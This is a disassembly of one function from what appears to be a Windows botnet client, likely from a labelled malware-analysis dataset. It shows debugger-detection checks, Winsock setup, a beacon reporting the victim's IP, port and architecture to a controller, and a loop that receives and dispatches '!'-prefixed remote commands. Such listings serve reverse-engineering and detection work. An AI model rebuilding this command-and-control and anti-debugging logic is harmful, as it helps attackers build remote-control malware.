Function at 0x402ba9
Capabilities:
Initialize winsock library

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x1270
call fcn.00404150
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1210], ecx
mov qword [rbp + 0x1218], rdx
call sym.__main
mov dword [rbp + 0x11ec], 0
jmp 0x402be6
add dword [rbp + 0x11ec], 1
cmp dword [rbp + 0x11ec], 9
jle 0x402bdf
mov dword [rbp + 0x11e8], 0
jmp 0x402c02
add dword [rbp + 0x11e8], 1
cmp dword [rbp + 0x11e8], 0x3b9ac9ff
jle 0x402bfb
call sym.IsDebuggerPresent
test eax, eax
je 0x402c21
mov eax, 1
jmp 0x403008
call sym.CustomIsDebuggerPresentCheck
call sym.getIPAddress
mov rax, rbp
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rbp + 0x11b8], eax
call sym.initConnection
test eax, eax
jne 0x403002
call sym.getArch
mov rbx, rax
call sym.getPortz
mov rsi, rax
call sym.getIP
mov rdx, rax
mov eax, dword [0x00410040]
mov qword [rsp + 0x20], rbx
mov r9, rsi
mov r8, rdx
lea rdx, str.e_1_94mDevice_Connected:__s__Port:__s__Arch:__se_0m
mov ecx, eax
call sym.sockprintf
mov dword [rbp + 0x11b4], 0
mov dword [rbp + 0x11b0], 0
jmp 0x402fd0
mov eax, dword [rbp + 0x11b4]
cdqe
mov byte [rbp + rax + 0x1a0], 0
lea rax, [rbp + 0x1a0]
mov rcx, rax
call sym.trim
lea rax, [rbp + 0x1a0]
mov qword [rbp + 0x11e0], rax
lea rax, [rbp + 0x1a0]
lea rdx, [0x0040c17e]
mov rcx, rax
call sym.strstr
mov rdx, rax
lea rax, [rbp + 0x1a0]
cmp rdx, rax
jne 0x402cfe
mov ecx, 0
call sym.exit
mov rax, qword [rbp + 0x11e0]
movzx eax, byte [rax]
cmp al, 0x21
jne 0x402fd0
mov rax, qword [rbp + 0x11e0]
add rax, 1
mov qword [rbp + 0x11d8], rax
jmp 0x402d2c
add qword [rbp + 0x11d8], 1
mov rax, qword [rbp + 0x11d8]
movzx eax, byte [rax]
cmp al, 0x20
je 0x402d48
mov rax, qword [rbp + 0x11d8]
movzx eax, byte [rax]
test al, al
jne 0x402d24
mov rax, qword [rbp + 0x11d8]
movzx eax, byte [rax]
test al, al
jne 0x402d5b
jmp 0x402fd0
mov rax, qword [rbp + 0x11d8]
mov byte [rax], 0
mov rax, qword [rbp + 0x11e0]
add rax, 1
mov qword [rbp + 0x11d8], rax
mov rax, qword [rbp + 0x11d8]
mov rcx, rax
call sym.strlen
add rax, 2
add qword [rbp + 0x11e0], rax
jmp 0x402db3
mov rax, qword [rbp + 0x11e0]
mov rcx, rax
call sym.strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x11e0]
add rax, rdx
mov byte [rax], 0
mov rax, qword [rbp + 0x11e0]
mov rcx, rax
call sym.strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x11e0]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0xa
je 0x402d93
mov rax, qword [rbp + 0x11e0]
mov rcx, rax
call sym.strlen
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x11e0]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0xd
je 0x402d93
mov rax, qword [rbp + 0x11e0]
mov qword [rbp + 0x11a8], rax
jmp 0x402e13
add qword [rbp + 0x11e0], 1
mov rax, qword [rbp + 0x11e0]
movzx eax, byte [rax]
cmp al, 0x20
je 0x402e2f
mov rax, qword [rbp + 0x11e0]
movzx eax, byte [rax]
test al, al
jne 0x402e0b
mov rax, qword [rbp + 0x11e0]
mov byte [rax], 0
add qword [rbp + 0x11e0], 1
mov rax, qword [rbp + 0x11a8]
mov qword [rbp + 0x11d0], rax
jmp 0x402e7c
mov rax, qword [rbp + 0x11d0]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll_toupper]
call rax
mov edx, eax
mov rax, qword [rbp + 0x11d0]
mov byte [rax], dl
add qword [rbp + 0x11d0], 1
mov rax, qword [rbp + 0x11d0]
movzx eax, byte [rax]
test al, al
jne 0x402e51
mov dword [rbp + 0x11cc], 1
mov rax, qword [rbp + 0x11e0]
lea rdx, str._________._0123456789:_____ABCDEFGHIJKLMNOPQRSTUVWXYZ____abcdefghijklmnopqrstuvwxyz
mov rcx, rax
call sym.strtok
mov qword [rbp + 0x11c0], rax
mov rax, qword [rbp + 0x11a8]
mov qword [rbp - 0x50], rax
jmp 0x402f68
mov rax, qword [rbp + 0x11c0]
movzx eax, byte [rax]
cmp al, 0xa
je 0x402f4d
mov rax, qword [rbp + 0x11c0]
mov rcx, rax
call sym.strlen
add rax, 1
mov rcx, rax
call sym.malloc
mov rdx, rax
mov eax, dword [rbp + 0x11cc]
cdqe
mov qword [rbp + rax*8 - 0x50], rdx
mov rax, qword [rbp + 0x11c0]
mov rcx, rax
call sym.strlen
lea rdx, [rax + 1]
mov eax, dword [rbp + 0x11cc]
cdqe
mov rax, qword [rbp + rax*8 - 0x50]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [rbp + 0x11cc]
cdqe
mov rax, qword [rbp + rax*8 - 0x50]
mov rdx, qword [rbp + 0x11c0]
mov rcx, rax
call sym.strcpy
add dword [rbp + 0x11cc], 1
lea rax, str._________._0123456789:_____ABCDEFGHIJKLMNOPQRSTUVWXYZ____abcdefghijklmnopqrstuvwxyz
mov rdx, rax
mov ecx, 0
call sym.strtok
mov qword [rbp + 0x11c0], rax
cmp qword [rbp + 0x11c0], 0
jne 0x402ec1
lea rdx, [rbp - 0x50]
mov eax, dword [rbp + 0x11cc]
mov ecx, eax
call sym.processCmd
cmp dword [rbp + 0x11cc], 1
jle 0x402fd0
mov dword [rbp + 0x11bc], 1
mov dword [rbp + 0x11bc], 1
jmp 0x402fc2
mov eax, dword [rbp + 0x11bc]
cdqe
mov rax, qword [rbp + rax*8 - 0x50]
mov rcx, rax
call sym.free
add dword [rbp + 0x11bc], 1
mov eax, dword [rbp + 0x11bc]
cmp eax, dword [rbp + 0x11cc]
jl 0x402fa6
mov eax, dword [0x00410040]
lea rdx, [rbp + 0x1a0]
mov r8d, 0x1000
mov ecx, eax
call sym.recvLine
mov dword [rbp + 0x11b4], eax
cmp dword [rbp + 0x11b4], 0xffffffff
jne 0x402ca2
jmp 0x402c45
nop
jmp 0x402c45
add rsp, 0x1270
pop rbx
pop rsi
pop rbp
ret